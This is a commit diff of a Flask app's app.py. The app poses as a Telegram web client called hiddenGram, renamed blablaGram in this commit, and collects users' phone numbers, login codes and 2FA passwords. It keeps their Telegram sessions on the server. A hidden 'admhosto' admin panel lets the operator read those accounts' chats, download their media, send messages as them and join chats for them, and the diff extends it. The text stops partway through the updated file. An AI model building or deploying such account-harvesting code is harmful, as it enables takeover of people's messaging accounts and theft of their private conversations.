Aleksmorshen commited on
Commit
3610792
·
verified ·
1 Parent(s): 048e2a1

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +377 -132
app.py CHANGED
@@ -2,8 +2,8 @@ import asyncio
2
  import hashlib
3
  import os
4
  import sqlite3
5
- from pathlib import Path
6
  import datetime
 
7
 
8
  from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
9
  from telethon.sync import TelegramClient
@@ -45,15 +45,16 @@ async def get_user_client(user_id):
45
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
46
  result = c.fetchone()
47
  if not result:
48
- return None, "User not found"
49
  session_file = result[0]
 
50
  client = TelegramClient(session_file, API_ID, API_HASH)
51
  try:
52
  await client.connect()
53
  if not await client.is_user_authorized():
54
  return None, "Client not authorized. Please log in again."
55
  except Exception as e:
56
- return None, f"Failed to connect or authorize client: {e}"
57
  return client, None
58
 
59
  LOGIN_TEMPLATE = '''
@@ -62,26 +63,28 @@ LOGIN_TEMPLATE = '''
62
  <head>
63
  <meta charset="UTF-8">
64
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
65
- <title>hiddenGram - Login</title>
66
  <style>
67
- body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
68
- .container { background: #fff; padding: 40px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); max-width: 400px; width: 90%; text-align: center; }
69
- h1 { color: #0088cc; margin-bottom: 25px; font-size: 2.5em; font-weight: 500; }
70
- input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 5px; background: #fafafa; color: #333; font-size: 1em; }
71
- button { background: #0088cc; color: #fff; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 15px; transition: background 0.3s ease; width: 100%; }
72
- button:hover { background: #0077b3; }
73
- .message { margin-top: 20px; padding: 12px; border-radius: 5px; font-size: 0.9em; }
74
- .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
75
- .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
76
- .message.info { background: #cce5ff; color: #004085; border: 1px solid #b8daff; }
 
 
77
  .hidden { display: none; }
78
  </style>
79
  </head>
80
  <body>
81
  <div class="container">
82
- <h1>hiddenGram</h1>
83
  <div class="form">
84
- <input type="text" id="phone" placeholder="Phone number (+1234567890)">
85
  <button onclick="startLogin()">Start Login</button>
86
  <input type="text" id="code" placeholder="Verification code" class="hidden">
87
  <input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
@@ -108,6 +111,12 @@ LOGIN_TEMPLATE = '''
108
  return;
109
  }
110
  showMessage('Sending code...', 'info');
 
 
 
 
 
 
111
  const response = await fetch('/api/login', {
112
  method: 'POST',
113
  headers: { 'Content-Type': 'application/json' },
@@ -121,7 +130,7 @@ LOGIN_TEMPLATE = '''
121
  document.getElementById('submitCode').classList.remove('hidden');
122
  showMessage(result.message, 'success');
123
  } else {
124
- showMessage(result.message + ' Redirecting...', 'success');
125
  setTimeout(() => window.location.href = '/app', 1500);
126
  }
127
  } else {
@@ -143,7 +152,7 @@ LOGIN_TEMPLATE = '''
143
  });
144
  const result = await response.json();
145
  if (result.success) {
146
- showMessage(result.message + ' Redirecting...', 'success');
147
  setTimeout(() => window.location.href = '/app', 1500);
148
  } else if (result.password_required) {
149
  showMessage(result.message, 'info');
@@ -170,7 +179,7 @@ LOGIN_TEMPLATE = '''
170
  });
171
  const result = await response.json();
172
  if (result.success) {
173
- showMessage(result.message + ' Redirecting...', 'success');
174
  setTimeout(() => window.location.href = '/app', 1500);
175
  } else {
176
  showMessage('Login failed: ' + result.message, 'error');
@@ -181,65 +190,88 @@ LOGIN_TEMPLATE = '''
181
  </html>
182
  '''
183
 
184
- HIDDENGRAM_APP_TEMPLATE = '''
185
  <!DOCTYPE html>
186
  <html lang="en">
187
  <head>
188
  <meta charset="UTF-8">
189
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
190
- <title>hiddenGram</title>
 
191
  <style>
192
- body, html { margin: 0; padding: 0; height: 100%; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; overflow: hidden; }
193
  .app-layout { display: flex; height: 100vh; width: 100%; }
194
- .sidebar { flex: 0 0 320px; background: #fff; border-right: 1px solid #e0e0e0; display: flex; flex-direction: column; }
195
- .sidebar-header { padding: 10px 15px; border-bottom: 1px solid #e0e0e0; display: flex; align-items: center; justify-content: space-between; }
196
- .sidebar-header h2 { margin: 0; font-size: 1.2em; color: #0088cc; }
197
- .sidebar-header .actions button { background: none; border: none; font-size: 1.2em; cursor: pointer; color: #0088cc; padding: 5px; }
198
- .chat-list { flex: 1; overflow-y: auto; }
199
- .chat-item { display: flex; align-items: center; padding: 10px 15px; border-bottom: 1px solid #f0f0f0; cursor: pointer; transition: background-color 0.2s; }
200
- .chat-item:hover { background-color: #f5f5f5; }
201
- .chat-item.active { background-color: #3390ec; color: white; }
202
- .chat-item.active h3, .chat-item.active p { color: white; }
203
- .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: #0088cc; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.5em; font-weight: bold; margin-right: 15px; }
204
  .chat-info { flex: 1; overflow: hidden; }
205
- .chat-info h3 { margin: 0 0 4px; font-size: 1em; font-weight: 500; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #111; }
206
- .chat-info p { margin: 0; font-size: 0.9em; color: #666; }
 
207
 
208
- .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Tz9ffy9Pby9Pbx8/Xy9ffy9ffx9PXy9fbx8/Xz9Pby9PXy9fbx8/Xy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); }
209
- .chat-panel-header { background: #fff; padding: 10px 20px; border-bottom: 1px solid #e0e0e0; display: flex; justify-content: space-between; align-items: center; }
210
- .chat-panel-header h2 { margin: 0; font-size: 1.1em; font-weight: 500; }
211
- .chat-panel-header .header-actions button { background: #e84118; color: white; border: none; padding: 8px 12px; border-radius: 5px; cursor: pointer; font-size: 0.9em; transition: background 0.2s; }
212
- .chat-panel-header .header-actions button:hover { background: #c23616; }
213
- .chat-panel-header .header-actions .switch-account { background: #0097e6; margin-left: 10px; }
214
- .chat-panel-header .header-actions .switch-account:hover { background: #0088cc; }
 
215
 
216
- .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; }
217
- .message-item { max-width: 65%; padding: 8px 12px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
218
- .message-item.sent { background: #e1ffc7; align-self: flex-end; border-bottom-right-radius: 4px; }
219
- .message-item.received { background: #fff; align-self: flex-start; box-shadow: 0 1px 1px rgba(0,0,0,0.05); border-bottom-left-radius: 4px;}
220
- .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
221
- .message-text { font-size: 0.95em; color: #111; }
222
  .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
223
- .media-link { display: block; margin-top: 8px; color: #0088cc; text-decoration: none; font-weight: 500; word-break: break-all; }
224
  .media-link:hover { text-decoration: underline; }
225
 
226
- .chat-input-area { background: #fff; padding: 10px 20px; border-top: 1px solid #e0e0e0; display: flex; align-items: flex-end; gap: 10px; }
227
- .chat-input-area textarea { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 18px; background: #f0f2f5; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; }
228
- .chat-input-area button { background: #0088cc; color: #fff; width: 40px; height: 40px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s; }
229
- .chat-input-area button:hover { background: #0077b3; }
 
 
230
 
231
  .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
232
- .join-chat-section { padding: 15px; border-top: 1px solid #e0e0e0; display: flex; gap: 10px; }
233
- .join-chat-section input { flex: 1; padding: 10px; border: 1px solid #ddd; border-radius: 5px; }
234
- .join-chat-section button { background: #27ae60; color: white; padding: 0 15px; border: none; border-radius: 5px; cursor: pointer; transition: background 0.2s; }
235
- .join-chat-section button:hover { background: #2ecc71; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
236
  </style>
237
  </head>
238
  <body>
239
  <div class="app-layout">
240
- <div class="sidebar">
241
  <div class="sidebar-header">
242
- <h2>hiddenGram</h2>
 
243
  <div class="actions">
244
  <button onclick="newMessage()" title="New Message">✎</button>
245
  </div>
@@ -252,6 +284,7 @@ HIDDENGRAM_APP_TEMPLATE = '''
252
  </div>
253
  <div class="chat-panel" id="chatPanel">
254
  <div class="chat-panel-header" id="appHeader">
 
255
  <div id="chat-header-info">
256
  <h2 id="chatTitle" style="display:none;"></h2>
257
  </div>
@@ -265,7 +298,9 @@ HIDDENGRAM_APP_TEMPLATE = '''
265
  </div>
266
  <div class="messages-container" id="messagesContainer" style="display:none;"></div>
267
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
268
- <textarea id="messageInput" placeholder="Message" rows="1"></textarea>
 
 
269
  <button onclick="sendMessage()">➤</button>
270
  </div>
271
  </div>
@@ -273,6 +308,17 @@ HIDDENGRAM_APP_TEMPLATE = '''
273
 
274
  <script>
275
  let currentChatId = null;
 
 
 
 
 
 
 
 
 
 
 
276
 
277
  function adjustTextareaHeight() {
278
  const textarea = document.getElementById('messageInput');
@@ -325,6 +371,9 @@ HIDDENGRAM_APP_TEMPLATE = '''
325
  document.getElementById('chatInputArea').style.display = 'flex';
326
 
327
  await fetchMessages(chatId);
 
 
 
328
  }
329
 
330
  async function fetchMessages(chatId) {
@@ -396,6 +445,38 @@ HIDDENGRAM_APP_TEMPLATE = '''
396
  }
397
  }
398
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
399
  async function joinChat() {
400
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
401
  if (!chatIdentifier.trim()) {
@@ -416,7 +497,7 @@ HIDDENGRAM_APP_TEMPLATE = '''
416
  }
417
 
418
  async function logout(switchToNew = false) {
419
- const confirmation = switchToNew ? true : confirm('Are you sure you want to log out?');
420
  if (confirmation) {
421
  await fetch('/api/logout', { method: 'POST' });
422
  window.location.href = '/';
@@ -442,23 +523,27 @@ ADMHOSTO_TEMPLATE = '''
442
  <head>
443
  <meta charset="UTF-8">
444
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
445
- <title>hiddenGram - Admin Panel</title>
 
446
  <style>
447
- body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
448
- .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
449
- h1, h2 { text-align: center; color: #0088cc; margin-bottom: 25px; }
450
- table { width: 100%; border-collapse: collapse; margin-top: 20px; }
451
- th, td { padding: 12px; border: 1px solid #ddd; text-align: left; }
452
- th { background: #f7f7f7; color: #555; font-weight: 500; }
453
- tr:nth-child(even) { background: #f9f9f9; }
454
- a { color: #0088cc; text-decoration: none; transition: color 0.3s ease; }
 
455
  a:hover { text-decoration: underline; }
456
  .back-button { margin-top: 30px; text-align: center; }
 
 
457
  </style>
458
  </head>
459
  <body>
460
  <div class="container">
461
- <h1>hiddenGram - Admin Panel</h1>
462
  <h2>Managed Accounts</h2>
463
  <table>
464
  <thead>
@@ -493,36 +578,46 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
493
  <meta charset="UTF-8">
494
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
495
  <title>Manage: {{ user.username or user.phone }}</title>
 
496
  <style>
497
- body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #f0f2f5; color: #333; margin: 0; padding: 20px; }
498
- .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
499
- h1, h2 { text-align: center; color: #0088cc; margin-bottom: 20px; font-weight: 500; }
500
- .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; }
501
  .split-panel { display: flex; gap: 25px; margin-top: 25px; }
502
- .split-panel > div { flex: 1; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
503
- h2 { margin-top: 0; }
504
- input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #ddd; border-radius: 5px; background: #fff; font-size: 1em; }
 
505
  textarea { resize: vertical; min-height: 80px; }
506
- button { background: #0088cc; color: #fff; padding: 12px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 10px; width: 100%; transition: background 0.3s ease; }
507
- button:hover { background: #0077b3; }
508
- .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; border-radius: 5px; }
509
- .chat-item { padding: 12px 15px; border-bottom: 1px solid #eee; cursor: pointer; transition: background 0.2s ease; }
510
- .chat-item:hover, .chat-item.active { background: #e9ecef; }
 
511
  .chat-item:last-child { border-bottom: none; }
512
- .chat-item h3 { margin: 0; font-size: 1.05em; color: #111; font-weight: 500; }
513
  .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
514
- .message-viewer { margin-top: 25px; background: #f9f9f9; padding: 20px; border-radius: 8px; border: 1px solid #eee; }
515
- .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #ddd; border-radius: 5px; background: #fff; margin-top: 15px; display: flex; flex-direction: column-reverse; }
516
- .message-item { max-width: 80%; padding: 8px 12px; border-radius: 12px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; }
517
- .message-item.sent { background: #dcf8c6; align-self: flex-end; }
518
- .message-item.received { background: #f1f0f0; align-self: flex-start; }
519
- .message-sender { font-weight: bold; color: #0088cc; margin-bottom: 4px; display: block; font-size: 0.9em; }
520
- .message-text { font-size: 0.9em; }
521
  .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
522
- .media-link { display: block; margin-top: 5px; color: #0088cc; text-decoration: none; }
523
  .back-button { margin-top: 30px; text-align: center; }
 
 
524
  .clear-chat-selection { text-align: center; margin-top: 15px; }
525
- .clear-chat-selection button { background: #6c757d; color: #fff; width: auto; padding: 8px 15px; }
 
 
 
 
 
526
  </style>
527
  </head>
528
  <body>
@@ -535,7 +630,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
535
  <h2>Send Message</h2>
536
  <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
537
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
538
- <button onclick="sendMessage({{ user.id }})">Send Message</button>
 
 
539
 
540
  <h2 style="margin-top: 30px;">Join Chat</h2>
541
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
@@ -615,6 +712,33 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
615
  }
616
  }
617
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
618
  async function joinChat(userId) {
619
  const chatIdentifier = document.getElementById('joinChatIdentifier').value;
620
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
@@ -635,7 +759,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
635
  @app.route('/')
636
  def index():
637
  if 'user_id' in session:
638
- return redirect(url_for('hidden_gram_app'))
639
  return render_template_string(LOGIN_TEMPLATE)
640
 
641
  @app.route('/api/login', methods=['POST'])
@@ -650,11 +774,12 @@ def api_login():
650
  session_hash = hashlib.md5(phone.encode()).hexdigest()
651
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
652
 
653
- session['phone'] = phone
654
- session['session_file'] = session_file_path
 
655
 
656
  async def _login_async():
657
- client = TelegramClient(session['session_file'], API_ID, API_HASH)
658
  result = {}
659
  try:
660
  await client.connect()
@@ -664,15 +789,15 @@ def api_login():
664
  with sqlite3.connect(DB_PATH) as conn:
665
  c = conn.cursor()
666
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
667
- (str(me.id), me.username or '', session['phone'], session['session_file']))
668
  conn.commit()
669
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
670
- session['user_id'] = user_db_id
671
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
672
  else:
673
- sent_code = await client.send_code_request(session['phone'])
674
  session['phone_code_hash'] = sent_code.phone_code_hash
675
- result = {'success': True, 'message': 'Code sent.', 'phone_code_hash': sent_code.phone_code_hash}
676
  elif step == 'code':
677
  code = data.get('code')
678
  phone_code_hash = session.get('phone_code_hash')
@@ -680,34 +805,45 @@ def api_login():
680
  raise ValueError('Session expired, please try again.')
681
 
682
  try:
683
- me = await client.sign_in(phone=session['phone'], code=code, phone_code_hash=phone_code_hash)
684
  with sqlite3.connect(DB_PATH) as conn:
685
  c = conn.cursor()
686
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
687
- (str(me.id), me.username or '', session['phone'], session['session_file']))
688
  conn.commit()
689
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
690
  session['user_id'] = user_db_id
691
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
692
  except SessionPasswordNeededError:
693
- result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
 
 
 
 
694
 
695
  elif step == 'password':
696
  password = data.get('password')
697
- me = await client.sign_in(password=password)
698
- with sqlite3.connect(DB_PATH) as conn:
699
- c = conn.cursor()
700
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
701
- (str(me.id), me.username or '', session['phone'], session['session_file']))
702
- conn.commit()
703
- user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
704
- session['user_id'] = user_db_id
705
- result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
 
 
 
 
 
706
 
707
  else:
708
  result = {'success': False, 'message': 'Invalid step.'}
 
 
709
  except Exception as e:
710
- result = {'success': False, 'message': f'An error occurred: {e}'}
711
  finally:
712
  if client.is_connected():
713
  await client.disconnect()
@@ -725,19 +861,21 @@ def api_logout():
725
  try:
726
  if client.is_connected():
727
  await client.log_out()
 
 
728
  finally:
729
  if client and client.is_connected():
730
  await client.disconnect()
731
  asyncio.run(_logout_async())
732
 
733
  session.clear()
734
- return jsonify({'success': True, 'message': 'Logged out.'})
735
 
736
  @app.route('/app')
737
- def hidden_gram_app():
738
  if 'user_id' not in session:
739
  return redirect(url_for('index'))
740
- return render_template_string(HIDDENGRAM_APP_TEMPLATE)
741
 
742
  @app.route('/api/user_chats')
743
  def api_user_chats():
@@ -759,7 +897,7 @@ def api_user_chats():
759
  if isinstance(dialog.entity, User):
760
  chat_type = 'User'
761
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
762
- title = full_name
763
  if dialog.entity.username:
764
  title += f" (@{dialog.entity.username})"
765
  elif isinstance(dialog.entity, Channel):
@@ -770,6 +908,9 @@ def api_user_chats():
770
  chat_type = 'Group'
771
  if hasattr(dialog.entity, 'participants_count'):
772
  participants = dialog.entity.participants_count
 
 
 
773
 
774
  initial = title[0].upper() if title else '?'
775
 
@@ -817,17 +958,28 @@ def api_get_chat_messages(peer_id):
817
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
818
  elif hasattr(message.sender, 'title'):
819
  msg_data['sender_name'] = message.sender.title
 
 
820
 
821
  if message.media:
822
  try:
823
- file_info = await client.download_media(message, file=DOWNLOAD_DIR)
 
 
 
 
 
 
 
 
 
824
  if file_info:
825
  file_path = Path(file_info)
826
  msg_data['file_name'] = file_path.name
827
- file_size_mb = os.path.getsize(file_path) / (1024*1024)
828
- msg_data['file_size'] = f"{file_size_mb:.2f} MB" if file_size_mb >= 0.1 else f"{os.path.getsize(file_path)/1024:.1f} KB"
829
- except Exception:
830
- msg_data['file_name'] = "Download failed"
831
  messages.append(msg_data)
832
  except Exception as e:
833
  return None, str(e)
@@ -858,6 +1010,8 @@ def api_send_message():
858
  target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
859
  await client.send_message(target_entity, message_content)
860
  return {'success': True, 'message': 'Message sent.'}
 
 
861
  except Exception as e:
862
  return {'success': False, 'message': str(e)}
863
  finally:
@@ -865,6 +1019,37 @@ def api_send_message():
865
 
866
  return jsonify(asyncio.run(_send_message_async()))
867
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
868
  @app.route('/api/join_chat', methods=['POST'])
869
  def api_join_chat():
870
  user_id = session.get('user_id')
@@ -884,7 +1069,7 @@ def api_join_chat():
884
  await client(JoinChannelRequest(chat_identifier))
885
  return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
886
  except FloodWaitError as e:
887
- return {'success': False, 'message': f'Please try again in {e.seconds}s.'}
888
  except (UserNotParticipantError, ValueError):
889
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
890
  except Exception as e:
@@ -918,9 +1103,18 @@ def admhosto_manage_user_account(user_id):
918
  try:
919
  async for dialog in client.iter_dialogs():
920
  chat_type = 'Other'
921
- if isinstance(dialog.entity, (Channel, Chat)): chat_type = 'Channel/Group'
 
922
  elif isinstance(dialog.entity, User): chat_type = 'User'
923
- chats_info.append({'id': dialog.id, 'title': dialog.title, 'type': chat_type, 'participants': getattr(dialog.entity, 'participants_count', None)})
 
 
 
 
 
 
 
 
924
  except Exception as e:
925
  return None, str(e)
926
  finally:
@@ -942,13 +1136,32 @@ def admhosto_get_chat_messages(user_id, peer_id):
942
  async for message in client.iter_messages(entity, limit=50, reverse=False):
943
  msg_data = {'text': message.text, 'date': message.date.strftime("%b %d, %H:%M"), 'is_sent': message.out, 'sender_name': 'Unknown'}
944
  if message.sender:
945
- msg_data['sender_name'] = getattr(message.sender, 'first_name', '') or getattr(message.sender, 'username', 'User')
 
 
 
 
 
 
946
  if message.media:
947
- file_info = await client.download_media(message, file=DOWNLOAD_DIR)
948
- if file_info:
949
- file_path = Path(file_info)
950
- msg_data['file_name'] = file_path.name
951
- msg_data['file_size'] = f"{(os.path.getsize(file_path) / (1024*1024)):.2f} MB"
 
 
 
 
 
 
 
 
 
 
 
 
 
952
  messages.append(msg_data)
953
  except Exception as e:
954
  return None, str(e)
@@ -972,12 +1185,42 @@ def admhosto_send_message(user_id):
972
  target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
973
  await client.send_message(target_entity, message_content)
974
  return {'success': True, 'message': 'Message sent.'}
 
 
975
  except Exception as e:
976
  return {'success': False, 'message': str(e)}
977
  finally:
978
  if client and client.is_connected(): await client.disconnect()
979
  return jsonify(asyncio.run(_send_message_async()))
980
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
981
  @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
982
  def admhosto_join_chat(user_id):
983
  data = request.json
@@ -992,6 +1235,8 @@ def admhosto_join_chat(user_id):
992
  else:
993
  await client(JoinChannelRequest(chat_identifier))
994
  return {'success': True, 'message': 'Successfully joined.'}
 
 
995
  except Exception as e:
996
  return {'success': False, 'message': f'Error joining: {e}'}
997
  finally:
 
2
  import hashlib
3
  import os
4
  import sqlite3
 
5
  import datetime
6
+ from pathlib import Path
7
 
8
  from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
9
  from telethon.sync import TelegramClient
 
45
  c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
46
  result = c.fetchone()
47
  if not result:
48
+ return None, "User not found in database."
49
  session_file = result[0]
50
+
51
  client = TelegramClient(session_file, API_ID, API_HASH)
52
  try:
53
  await client.connect()
54
  if not await client.is_user_authorized():
55
  return None, "Client not authorized. Please log in again."
56
  except Exception as e:
57
+ return None, f"Failed to connect or authorize Telegram client: {e}"
58
  return client, None
59
 
60
  LOGIN_TEMPLATE = '''
 
63
  <head>
64
  <meta charset="UTF-8">
65
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
66
+ <title>blablaGram - Login</title>
67
  <style>
68
+ body { font-family: 'Inter', -apple-system, BlinkMacMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #E9EBEE; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
69
+ .container { background: #FFFFFF; padding: 40px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); max-width: 420px; width: 90%; text-align: center; }
70
+ h1 { color: #2AABEE; margin-bottom: 25px; font-size: 2.8em; font-weight: 700; letter-spacing: -0.5px; }
71
+ input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 14px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 8px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
72
+ input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.2); outline: none; }
73
+ button { background: #2AABEE; color: #fff; padding: 14px 28px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; }
74
+ button:hover { background: #1C91D0; transform: translateY(-1px); }
75
+ button:active { transform: translateY(0); }
76
+ .message { margin-top: 25px; padding: 15px; border-radius: 8px; font-size: 0.95em; line-height: 1.5; }
77
+ .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
78
+ .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
79
+ .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
80
  .hidden { display: none; }
81
  </style>
82
  </head>
83
  <body>
84
  <div class="container">
85
+ <h1>blablaGram</h1>
86
  <div class="form">
87
+ <input type="text" id="phone" placeholder="Phone number (e.g., +1234567890)">
88
  <button onclick="startLogin()">Start Login</button>
89
  <input type="text" id="code" placeholder="Verification code" class="hidden">
90
  <input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
 
111
  return;
112
  }
113
  showMessage('Sending code...', 'info');
114
+ // Hide previous inputs
115
+ document.getElementById('code').classList.add('hidden');
116
+ document.getElementById('password').classList.add('hidden');
117
+ document.getElementById('submitCode').classList.add('hidden');
118
+ document.getElementById('submitPassword').classList.add('hidden');
119
+
120
  const response = await fetch('/api/login', {
121
  method: 'POST',
122
  headers: { 'Content-Type': 'application/json' },
 
130
  document.getElementById('submitCode').classList.remove('hidden');
131
  showMessage(result.message, 'success');
132
  } else {
133
+ showMessage(result.message + ' Redirecting to app...', 'success');
134
  setTimeout(() => window.location.href = '/app', 1500);
135
  }
136
  } else {
 
152
  });
153
  const result = await response.json();
154
  if (result.success) {
155
+ showMessage(result.message + ' Redirecting to app...', 'success');
156
  setTimeout(() => window.location.href = '/app', 1500);
157
  } else if (result.password_required) {
158
  showMessage(result.message, 'info');
 
179
